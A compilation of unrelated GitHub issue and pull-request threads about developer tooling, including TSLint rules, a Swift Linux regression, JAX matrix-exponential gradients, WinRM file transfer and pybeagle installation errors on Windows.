Our team needed several new rules, so I released a package that implements them today.  (many thanks for @JKillian for helping me get the new test system working; it is awesome)
Full details are available here: https://github.com/vrsource/vrsource-tslint-rules
The rules added are:

conditional-expression-parens: ensure any complete conditional expression clauses use parens
dot-notation-rule: Use foo.bar instead of foo["bar"]
ext-variable-name: Massively flexible variable name checker.  Allows cascading rules taking into account variable type and many other options.  Includes regex support.
max-params: Place limit on number of parameters allowed
multiline-arrow: Option to enforce need for parens and/or block if arrow function is multi-line.
no-duplicate-imports: Flag importing from same module multiple times in single file.
prefer-case-blocks: Check that all case statements use a block.
prefer-const: Prefer use of const instead of let when never assigned to.  (borrowed from typescript project)
prefer-literal: Allow flagging locations where "new Object/Array/Function()" is called

literal-spacing: Enforce always/never having spaces at beginning and end of array and object literals.

Please let me know if you find these useful.  If any of them are generally useful I am more than willing to submit them back to tslint to become part of the base rules.

@abierbaum, vrsource-tslint-rules are great! We started using these rules in our project, and these rules enforce to use some good programming/style practices. +1 to include these rules int o standard tslint distribution

As a first step, I've added a link to your project in our README (https://github.com/palantir/tslint/commit/a1d5eab5530f1916584ad71293cddc86a651c569). Next we'll go through the rules and figure out which ones belong in core TSLint. Thanks @abierbaum!

👏 @abierbaum are you still interested in merging these rules into TSLint core? It'd be great to see some PRs if so!

@JoshuaKGoldberg I would be interested in it, but I have been having trouble getting PRs into tslint.  It is one of the reasons I started it as a separate project so I could always know our team could add and extend rules we need in production and know we could get changes through.

Closing per #4534 - since the rules are available as an external plugin, we can live without them being added to TSLint core. Thanks!


[SR-15462] Regression: Swift 5.5 on Linux doesn't see extension on timeval_t

Previous ID
SR-15462

Radar
None

Original Reporter
helge (JIRA User)

Type
Bug

Environment
First noticed in the GH Actions environment, but it also reproduces using the Swift in `helje5/arm64v8-swift-dev:5.5.1` (and presumably any Linux environment w/ Swift 5.5).

Additional Detail from JIRA

Votes
2

Component/s
Compiler

Labels
Bug

Assignee
None

Priority
Medium

md5: 25d1f72b79525d584a6e5c6ed9f63d9d

relates to:

SR-15532 Compiler doesn't load public property declarations in another module under some conditions.

Issue Description:
I have a small package called `xsys` which wraps and re-exports Glibc/Darwin:
https://github.com/NozeIO/xsys
This works fine on Darwin in general, but starts to break when compiling the tests on Swift 5.5 (tried both, 5.5.0 and 5.5.1):
https://github.com/NozeIO/xsys/runs/4141154588?check_suite_focus=true
The extension is defined here:
https://github.com/NozeIO/xsys/blob/084e2ff0667dd43f0a31868aa40463b287d2d9df/Sources/xsys/timeval_any.swift#L76
E.g.:
```swift
extension timeval : timeval_any {
@inlinable
public static var now : timeval {
var now = timeval()
_ = gettimeofday(&now, nil)
return now
}
```
When compiling the tests, Swift doesn't see that anymore. I tried removing the protocol conformance, removing the inline, neither helps.

Seems to be fixed with Swift 5.8.1:
mickey@pluto:~/Documents/late/misc/xsys$ swift build
Building for debugging...
[17/17] Compiling xsys misc.swift
Build complete! (5.52s)
mickey@pluto:~/Documents/late/misc/xsys$ swift test
Building for debugging...
[13/13] Linking xsysPackageTests.xctest
Build complete! (2.55s)
Test Suite 'All tests' started at 2023-06-09 13:55:18.899
Test Suite 'debug.xctest' started at 2023-06-09 13:55:18.900
Test Suite 'xsysTests' started at 2023-06-09 13:55:18.900
Test Case 'xsysTests.testTimevalT' started at 2023-06-09 13:55:18.901
Test Case 'xsysTests.testTimevalT' passed (0.001 seconds)
Test Case 'xsysTests.testTimevalTComponents' started at 2023-06-09 13:55:18.901
Test Case 'xsysTests.testTimevalTComponents' passed (0.0 seconds)
Test Suite 'xsysTests' passed at 2023-06-09 13:55:18.902
Executed 2 tests, with 0 failures (0 unexpected) in 0.001 (0.001) seconds
Test Suite 'debug.xctest' passed at 2023-06-09 13:55:18.902
Executed 2 tests, with 0 failures (0 unexpected) in 0.001 (0.001) seconds
Test Suite 'All tests' passed at 2023-06-09 13:55:18.902
         Executed 2 tests, with 0 failures (0 unexpected) in 0.001 (0.001) seco


Add new vault plugin to src/plugins/vault

This is essentially a rebased and cleaned-up version of https://github.com/pachyderm/pachyderm/pull/2711

Sean originally sent me https://github.com/pachyderm/pachyderm/pull/2711 for review. In the course of rebasing that PR (after submitting https://github.com/pachyderm/pachyderm/pull/2715) I've become quite familiar with the code. As both Sean and I are familiar with this and it's passing CI, I'm going to go ahead and merge it.


Change indentation and format of source code for some examples/en/05_Image/.js files

Changes:
I have changed indentation and format of source code for the following files:

src/data/examples/en/05_Image/06_Blur.js
src/data/examples/en/05_Image/07_EdgeDetection.js
src/data/examples/en/05_Image/08_Brightness.js
src/data/examples/en/05_Image/09_Convolution.js
src/data/examples/en/05_Image/10_Copy_Method.js

Screenshot:
before:

after:

If you have any questions, please let me know. Thank you!

I have modified the part you commented. Thank you!

Looks good. Thanks!


Transfer kubeval function and add tests

Add unit tests and make small modifications to dockerfile
Add kpt e2e tests
Fixes GoogleContainerTools/kpt#578

cc @dflemstr We are considering that the catalog repo is a more natural place for functions. Can you please leave a comment for googlebot?

@googlebot I consent.


Weird artifacts in noise

Sorry don't know where else to ask. Can't find the solution in the Wiki.
See this screenshot:
https://i.gyazo.com/142f9f83cf4b5fe35d5c28800edc4a37.jpg
If you look closely you see weird loose artifacts all over.
Code used for generation of Noise

            _fastNoise.SetSeed((int) seed);
            _fastNoise.SetNoiseType(FastNoise.NoiseType.PerlinFractal);
            _fastNoise.SetFractalLacunarity(0.9f);
            _fastNoise.SetFractalGain(0f);
            _fastNoise.SetFractalOctaves(30);

Hi there, it seems you are using a very weird noise settings. First off you have 30 octaves which is a huge amount and will make the noise generation very slow and anything past about 8 octaves will have almost no noticeable difference. Secondly you have gain at 0, meaning that all of the octaves will effectively be ignored.
If you want to submit an issue please reproduce it in the FastNoise Preview tool, since the issue you are seeing may be caused by other factors.

In the end it was entirely my fault. 2 threads were settings the SetFrequency functions at different values and thats how i ended up with the artifacts.
Thread A
 public float GetNoise(float x, float z)         {             _fastNoise.SetFrequency(0.02f);             float noise = _fastNoise.GetNoise(x + 0.01f * (seed / 10000f) + seed , z + 0.01f * (seed / 10000f) + seed );
Thread B (using same FastNoise instance.)
 public float GetTerrainNoise(float x, float z)         {             float noise = _fastNoise.GetNoise(x - 1f / 2 - seed, z - 10f / 2 - seed);
Major DERP from my side. Issue can be closed.


refactor(prettier): improve comment handling API

Current dependencies on/for this PR:

main

PR #1435   👈

This stack of pull requests is managed by Graphite.

Merge activity

Nov 19, 10:08 AM: @Boshen merged this pull request with Graphite.


fix: proto3 optional field handling in oneof validator generation

Thanks for the review, @dan9186. I'll ensure it solves my issue once it gets merged!


Fix compile error caused by nonexist tests dir

Compile error when run make:
CMake Error at velox/codegen/CMakeLists.txt:23 (add_subdirectory):
  add_subdirectory given source "tests" which is not an existing directory.

System info:
Velox System Info v0.0.2
Commit: https://github.com/facebookincubator/velox/commit/364df9251a46b89d508585abe79a955620a1e90f
CMake Version: 3.24.1
System: Darwin-20.6.0
Arch: x86_64
C++ Compiler: /Library/Developer/CommandLineTools/usr/bin/c++
C++ Compiler Version: <IP_ADDRESS>00029
C Compiler: /Library/Developer/CommandLineTools/usr/bin/cc
C Compiler Version: <IP_ADDRESS>00029
CMake Prefix Path: /Library/Developer/CommandLineTools/SDKs/MacOSX11.3.sdk/usr;/usr/local;/usr;/;/usr/local/Cellar/cmake/3.24.1;/usr/local;/usr/X11R6;/usr/pkg;/opt;/sw;/opt/local

That's because codegen doesn't have tests directory.

Duplicate with https://github.com/facebookincubator/velox/pull/3973


Systemd Integration

Awesome project but we need a integration into systemd. Reasons are obvious.

Highest priority :+1:

Feel free to add this feature and open a pull request. :+1:

Tried this. Here's the console output:
[   OK   ] Mounted servus.js
[   FAILED   ] Failed to start Load Kernel Modules
See `systemctl status systemd-modules-load.service` for details.

seems to break the system..


Invalid device function

Platform: two different cards, 1080Ti, 2080Ti, run on 2080Ti will report it, 1080Ti is well.

Do you have any idea?
Thanks!

thanks for your feedback, we are working on two different card adapting
---Original---
From: @.>
Date: Sun, Jul 18, 2021 18:09 PM
To: @.>;
Cc: @.***>;
Subject: [Jittor/jittor] Invalid device function (#249)
Platform: two different cards, 1080Ti, 2080Ti, run on 2080Ti will report it, 1080Ti is well.
Do you have any idea?
Thanks!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


WinRM file upload/download should be separate gem

@zenchild @mwrock @maxlinc Thoughts about splitting file operations (upload) out into a separate gem?
Pros:

SRP.
It would allow us to release WinRM gem 1.3 sooner.
Easier to remove later if implement a better solution.

Cons:

Yet another gem/dependency
More work

I've been thinking about this too. I think its a good idea mainly for keeping tooling on top of the protocol separate from the actual protocol implementation itself.
I'm happy to own this or assist in the decoupling. Should have cycles after the weekend.

I don't have a strong opinion at this point. If it means 1.3 sooner that's good, and since Vagrant currently has its own copy of the file upload/download logic it won't block that - can just create an issue in Vagrant to remove the custom file manager and replace with the winrm-files gem when it's stable.
In the long run it might be good if you had a generic FileManager interface with pluggable protocols, so that you can provide a gem with a basic but inefficient protocol (i.e. winrm-files-base64), but others could create alternative solutions, like the winrm-files-rsync, winrm-files-bits or winrm-files-git (all ideas that came up in Vagrant/Packer discussions).
E.g.:
require 'winrm'
require 'winrm/files/rsync'

endpoint = 'http://mywinrmhost:5985/wsman'
krb5_realm = 'EXAMPLE.COM'
winrm = WinRM.new(endpoint, :kerberos, :realm => krb5_realm)
default_fm = winrm.file_manager
rsync_fm = winrm.file_manager(:rsync)

require 'benchmark'
# Note that with bmbm the "reheasal" time will be
# for a new upload, and then the benchmark time
# will be for a re-upload.
Benchmark.bmbm(20) do |x|
  x.report("Default (base64):")   { default_fm.upload('./folder') }
  x.report("Rsync:") { rsync_fm.upload('./folder') }
end

I like the idea of keeping the protocol as skinny as possible and having a winrm-extensions gem or something like that. It makes it simpler to digest for the brain when you're trying to iterate on either. Your dealing with an interface instead of an entire code-base.

+1 to the above comments, but I do think it would be best to not have the separate repo be a generic extensions repo. I'd be concerned that could possibly muddy the waters. It would be better to keep the repos targeted to the problem being solved. I have 2 projects on my backlog that could fit in the extensions category but would be best left separate: running winrm commands via a scheduled task and managing reboots to the remote endpoint keeping a "percieved" persistent connection.

@zenchild Can you create us a new winrm-fs repository under the winrb organization and make both @mwrock and @sneal repo owners?
@maxlinc The generic FileManager interface is an interesting idea. I think that's something we can add later if needed.

winrm-fs is setup

Fixed by #116


Add doesNotHaveSameHashCodeAs

Summary
To achieve the most of the fluent api with hasSameHashCodeAs the counterpart doesNotHaveSameHashCodeAs would be nice.
Example
        final Person spiderman = new Person("spiderman");
        final Person otherSpiderman = new Person("spiderman");
        final Person batman = new Person("batman");

        assertThat(spiderman)
            .hasSameHashCodeAs(otherSpiderman)
            .doesNotHaveSameHashCodeAs(batman);

instead not we have to write
        final Person spiderman = new Person("spiderman");
        final Person otherSpiderman = new Person("spiderman");
        final Person batman = new Person("batman");

        assertThat(spiderman.hashCode())
            .isEqualTo(otherSpiderman.hashCode())
            .isNotEqualTo(batman.hashCode());

The combination of isNotEqualTo and .hashCode() with hasSameHashCodeAs is not possible.

fair enough is you rename it to doesNotHaveSameHashCodeAs  ;-)

Hi, I'd like to implement this

Hi, I'd like to implement this

That is ok for me, otherwise I would implement it. But if you want, go for it :)

@mct10 up to you, let us know ;-)

@joel-costigliola  @derTobsch  Thanks. I will get started now :)

Sorry to bother you again, but I want to clarify my understanding of this issue. Please correct me if I misunderstand you.
I think your problem is, you cannot use assertThat(spiderman).hasSameHashCodeAs(otherSpiderman).isNotEqualTo(batman.hashCode()), so you want a doesNotHaveSameHashCodeAs implemented. However, there is already doesNotHaveSameHashCodeAs in AbstractAssert.java. And I also think you can use isNotEqualTo and .hashCode(), together with hasSameHashCodeAs.
Could you please correct my understanding? Is doesNotHaveSameHashCodeAs what you want to implement? Thanks a lot.

@mct10 good catch, I guess I don't know the AssertJ API that well :laughing:
Here's an example https://www.javadoc.io/doc/org.assertj/assertj-core/latest/org/assertj/core/api/AbstractAssert.html#doesNotHaveSameHashCodeAs(java.lang.Object).
@derTobsch I'm closing this issue since I believe this should address your issue, but I'll reopen it if you tell me it's not.

Hehe, sry. I am using 3.18.1 with the latest Spring Boot version 2.4.5 and therefore I could not see it in the IDE and I haven't  checked newer versions. So therefore I am glad that it is there and will upgrade to the latest version. Thanks all! :)


Add VJP expm

The pull request #2062 implements the jvp of the matrix exponential by using the Fréchet derivative. I think the vjp can be easily added by transposing the input matrix in expm_frechet:
defvjp(expm, lambda g, ans, matrix: expm_frechet(_T(matrix), g, compute_expm=False))

I can test and implement this solution if #2062 is merged.

This is just a casual question, but what is the benefit of defining a vjp if there's already a jvp?  I thought that in this situation the vjp is synthesized by transposition?

To my understanding, the vjp can't be synthesized by transposition because the jvp involves a fori_loop. I don't have the answer for your second question but I don't see why it's an issue to attach a custom jvp and vjp, its two different functions.

Indeed, it's not possible to define a custom_vjp and use the forward mode. What is the best strategy in this case?

get rid off the forward mode?
get rid off the fori_loop?
define a new primitive?

You should probably ping @mattjj?  I'm curious about this too.  How do you attach both a custom jvp and a custom vjp to a function?

When I was writing the rule for expm, I found that writing custom_vjp overwrites the custom_jvp and vice-versa. It would be nice to be able to have both.

In the absence of the ability to define a custom transpose rule which allows JAX to derive the VJP from the JVP, I think the best bet for supporting both forward and reverse-mode autodiff is to upgrade expm_frechet into a first-class JAX primitive. This isn't much harder than the current custom_jvp approach, but would use internal APIs. See: https://jax.readthedocs.io/en/latest/notebooks/How_JAX_primitives_work.html

Thanks, I'll have a closer look at the primitives.

import jax.numpy as jnp
import jax

rng = jax.random.PRNGKey(0)
x = jax.random.uniform(rng, (2, 2))

def f(x):
    y = jax.scipy.linalg.expm(x)
    credit = jnp.sum(jnp.abs(y))
    return credit, y

f = jax.value_and_grad(f)

f(x)

~/miniconda3/lib/python3.8/site-packages/jax/lax/lax_control_flow.py in while_transpose_error(*, **kwargs)
536
537 def while_transpose_error(*, **kwargs):
--> 538   raise ValueError("Reverse-mode differentiation does not work for "
539                    "lax.while_loop or lax.fori_loop. "
540                    "Try using lax.scan instead.")
ValueError: Reverse-mode differentiation does not work for lax.while_loop or lax.fori_loop. Try using lax.scan instead.

Reverse mode diff for expm should be supported now after https://github.com/google/jax/pull/4314


New Bacterial genome annotation tutorial

This PR adds a new tutorial for bacterial genome annotation, based on a workflow made by @pimarin
I then update the learning pathway for bacterial genome annotation to replace the prokka tutorial by the new one which is more complete.
I will add the workflow test once the DM for plasmidFinder will be on usegalaxy.eu and/or Table to GFF3 tool on usegalaxy.fr
@abretaud, would love your review if you have time. Thanks

Oh niice! I'll have a look! @rlibouba can you test it too maybe?

Would it be possible to have a review this week? So we can mention it for a report next Monday 😅

Hi @bebatut , I'm currently testing the tutorial. Arrived at the step with IntegronFinder, the file "Integrons annotations from [Integron Finder] on data" seems to have no integrons found :

Here's a screenshot of the parameters

Here's a screenshot of the result

I know. It could be the case in some draft genome (maybe stable genome, maybe not good enough assembly). I mentioned it in the tutorial


add support for BeginLoadQueryEvent and ExecuteLoadQueryEvent

Hi @jasonzzz
I am very interested that why you want to support these two events?

If the user set binlog_format=statement, there's no available outputs when he LOAD DATA INFILE ... INTO ... in mysql.

3Q


Refactor enumerators, add EXDATE support, make RWMRecurrenceRule properties public

I found it's useful to have RWMRecurrenceRule properties public. It's more convenient to parse RRULE into the RWMRecurrenceRule instance and check its properties rather than work with plain RRULE string

Also this test fails even on the original repo:
func testWeekly12() {
    // Start 20181117T090000
    // Weekly with with exdates.
    let start = calendar.date(from: DateComponents(year: 2018, month: 11, day: 17, hour: 9))!
    run(rule: "RRULE:FREQ=WEEKLY;COUNT=10", start: start, results:
        ["2018-11-17T09:00:00", "2018-11-24T09:00:00", "2018-12-01T09:00:00", "2018-12-08T09:00:00",
         "2018-12-15T09:00:00", "2018-12-22T09:00:00", "2018-12-29T09:00:00", "2019-01-05T09:00:00",
         "2019-01-12T09:00:00", "2019-01-19T09:00:00"]
    )
}

I had to workaround weekly enumerator issue with this commit: https://github.com/rmaddy/RWMRecurrenceRule/pull/2/commits/43090ddad8bbbab8ee08de576719998e94c85016 but couldn't do more :-/


Checkstyle update, SpotBugs fixes.

But, after this merge the plugin will have gone from > 1500 style problems to 25.

Did each file, generally, as a separate commit in case you see something you don't like you can back it out individually.
I left the +'s in the "wrong place" on the main DAO so that it would not interfere with merging psygate's modification (to allow sideload from migration file).

Did each file, generally, as a separate commit in case you see something you don't like you can back it out individually.
I left the +'s in the "wrong place" on the main DAO so that it would not interfere with merging psygate's modification (to allow sideload from migration file).

Very nice

Very nice


Readline package error per Python install

pip install pybeagle fails at readline package
Collecting readline==<IP_ADDRESS> (from pybeagle)
Downloading https://files.pythonhosted.org/packages/f4/01/2cf081af8d880b44939a5f1b446551a7f8d59eae414277fd0c303757ff1b/readline-<IP_ADDRESS>.tar.gz
Complete output from command python setup.py egg_info:
error: this module is not meant to work on Windows
Suggest a call for pyreadline for Windows installs.

Specifically, Windows 10 Version 1903, Python 3.6.6, Pip 19.03

I kicked off a travis job to build on windows: https://travis-ci.com/yampelo/beagle/jobs/191311316
I'm guessing this is related to deps from rekall:
$pipenv graph
rekall==1.7.1
...
  - readline [required: Any, installed: <IP_ADDRESS>]

I'll see if bumping up the rekall version can fix it.

Note, and it may be a separate issue, but rekall install on Windows has breaking on Acora even with earlier Python (3.6.6) installed. Trying to debug that with isolated rekall installation, will advise.

Accidentally closed, reopened as such

Here's what I think I'm going to do. I'm going to make rekall an extra install, that you can install by doing pip install pybeagle[rekall] or pip install pybeagle[memory]. That way the package will work on any python3+ distrib and anyone who wants to use memory will need to either leverage the docker container (the container has the library set up on it) or use a python distribution that rekall supports

@holisticinfosec try pulling the latest version (1.0.2).It should work on windows:  https://travis-ci.com/yampelo/beagle/builds/107562330

Better for sure, but now seeing the aforementioned acora issue creep in again. That's a rekall issue vs beagle.
building 'acora._acora' extension
creating build\temp.win-amd64-3.6
creating build\temp.win-amd64-3.6\Release
creating build\temp.win-amd64-3.6\Release\acora
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.20.27508\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -Ic:\python36\include -Ic:\python36\include "-IC:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.20.27508\include" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.10240.0\ucrt" /Tcacora/_acora.c /Fobuild\temp.win-amd64-3.6\Release\acora/_acora.obj
_acora.c
c:\python36\include\pyconfig.h(222): fatal error C1083: Cannot open include file: 'basetsd.h': No such file or directory
error: command 'C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.20.27508\bin\HostX86\x64\cl.exe' failed with exit status 2
----------------------------------------

Command "c:\python36\python.exe -u -c "import setuptools, tokenize;file='C:\Users\rmcree\AppData\Local\Temp\pip-install-3rbkf0ef\acora\setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record C:\Users\rmcree\AppData\Local\Temp\pip-record-r63y56xw\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\Users\rmcree\AppData\Local\Temp\pip-install-3rbkf0ef\acora\

Yeah, that one is out of my control and i noted it in https://github.com/google/rekall/issues/488, does installing without the rekall extra (pip install pybeagle vs pip install pybeagle[rekall]) work?

Unfortunately, pip install pybeagle[rekall] and pip install pybeagle[memory] still in the attempted inclusion of acora and thus fail as described above.

After a full purge of all prior pybeagle instances, I just got a clean install via pip install pybeagle[memory]. Let's close this bug as a successful solution while we wait for google/rekall#488 to be resolved.

Memory isn't a valid extra option (https://github.com/yampelo/beagle/blob/master/setup.py#L20) - only rekall is. Installing pybeagle[memory] means that you did the same as just doing pip install pybeagle, and won't be able to use the memory grapher.


Problem using it with sublime text

/home/ironman/.nvm/v0.10.31/lib/node_modules/fb-flo/lib/flo.js:220
        throw err;
              ^
Error: ENOENT, open '/home/ironman/work/test_fb/.subl948.tmp'

Thank you for reporting this issue and appreciate your patience. We've  notified the core team for an update on this issue. We're looking for a response within the next 30 days or the issue may be closed.


fix(infra): force linux/amd64 platform for building job-runner artifact

Changes

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#937  👈
#936
#935
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @NathanFlurry and the rest of your teammates on  Graphite